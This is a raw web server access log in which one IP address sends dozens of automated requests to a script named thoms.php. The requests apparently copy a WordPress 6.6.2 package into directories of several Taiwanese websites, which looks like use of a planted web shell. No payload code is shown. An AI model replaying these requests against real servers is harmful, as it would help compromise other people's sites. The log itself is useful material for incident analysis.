45.135.193.11 - - [11/Sep/2026:23:13:40 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 200 28714 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:40 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:40 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17388 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:40 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 200 12055 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:40 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 200 13117 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:40 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 200 14192 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:41 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 200 12596 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:41 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17386 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:41 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 200 13436 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:41 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:41 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:41 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 200 13270 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:41 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:41 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:41 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 200 13623 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:41 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17509 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:41 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:41 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:41 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 200 13414 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:41 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 200 14341 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:41 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:41 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 200 59206 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:41 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 200 12041 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:41 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:42 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:42 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17510 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:42 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 200 28783 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:42 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:42 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:42 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13049 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:42 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13047 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:42 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18964 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:42 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:42 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:42 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18964 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18964 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:42 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18965 "https://163.245.207.76:443/thoms.php?p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:42 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18963 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:42 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18964 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18963 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18964 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18998 "https://163.245.207.76:443/thoms.php?p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18962 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 17880 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 12583 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 12052 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:13:43 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13963 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
